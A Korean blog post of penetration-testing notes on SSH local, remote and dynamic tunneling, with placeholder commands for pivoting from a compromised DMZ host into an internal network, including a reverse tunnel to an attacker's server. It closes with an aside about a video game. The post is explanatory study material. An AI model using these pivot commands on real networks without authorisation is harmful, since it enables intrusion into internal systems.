개요
SSH 터널링은 SSH를 통해 특정 서비스나 포트를 원격으로 접근할 수 있도록 하는 기술이다. 종류로는 로컬 터널링, 리모트 터널링, 다이나믹 터널링이 있다.
로컬 터널링
공격자가 자신의 로컬 포트를 SSH 서버를 통해 대상 서버에 전달하도록 설정하는 방식이다.
실제 운영 서비스는 대부분 네트워크 DMZ를 통해 외부 서비스를 관리하고, 내부 서비스는 내부망에 존재하여 외부 접근이 불가능하도록 한다.
이때 내부망 서버의 SSH 서비스가 오픈되어 있고, 해당 서비스에 대한 접속 정보를 보유하고 있다면, 로컬 터널링을 통해 내부망 서비스 침투가 가능히다.

ssh -L [로컬 포트]:[대상 호스트]:[대상 포트] [사용자]@[SSH 서버]
이를 통해 웹서비스에 연결한다면 http://localhost:[로컬 포트]로도 웹서비스 접근이 가능하게 된다
리모트 터널링
대상 서버가 공격자의 서버로의 연결을 전달하도록 하는 설정하는 방식이다.

이를 수행하기 위해선 DMZ 내 호스트에 대한 원격 명령 실행이 가능해야 합니다. 파일 업로드, 커맨드 인젝션, 1-day RCE 등 당양한 방법을 활용할 수 있다.
DMZ 접근 및 탈취를 성공했다면, DMZ에서 터널링 명령어를 실행한다.
(처음 시도 당시엔, 어떤 서버에서 어떤 주소를 입력해야 하는지 헷갈렸다.)
ssh -R [공격자 서버 포트]:[대상 로컬 호스트]:[대상 로컬 포트] [공격자 사용자]@[공격자 서버]
위 과정 이후에는 공격자 서버(SSH Base, SSH Server)에 접속하는 것으로 대상 서버(Internal Network, Server 2)에 바로 접근할 수 있다.
ssh [대상 사용자]@[공격자 서버] -p [공격자 서버 포트(리모트 터널링 당시 설정)]
다이나믹 터널링
공격자가 지정한 포트를 SOCKS 프록시 서버로 지정하여 여러 목적지에 접근할 수 있도록 하는 방식이다.

다이나믹 터널링을 위해 로컬에서 DMZ의 SSH 서버에 아래와 같이 연결한다.
ssh -D [로컬 포트] [DMZ 사용자]@[DMZ 서버]
다이나믹 설정이 완료되면 로컬에서 대상의 내부 서버(Inter Network)에 접근할 수 있다.
proxychains ssh [사용자]@[대상 서버]
터널링을 통해 침투 연습을 하는데, 처음할 때 너무 헷갈렸던 기억이 있다. 내가 어디서 뭘 하고 있고 뭘 해야 하는지 머리가 꼬이는 기분,,
이건 그때 당시 정리했던 내용인데, 블로그 활성화를 위해 살짝 다듬어서 작성해봤다.

최근에 실크송이 출시됐다. 전작을 인상 깊게 했던 터라 꽤나 기대했던 작품이다. 불쾌한 난이도로 말이 많긴 하지만 아직 1장을 진행 중인 입장으로서는 재밌게 어려운 정도.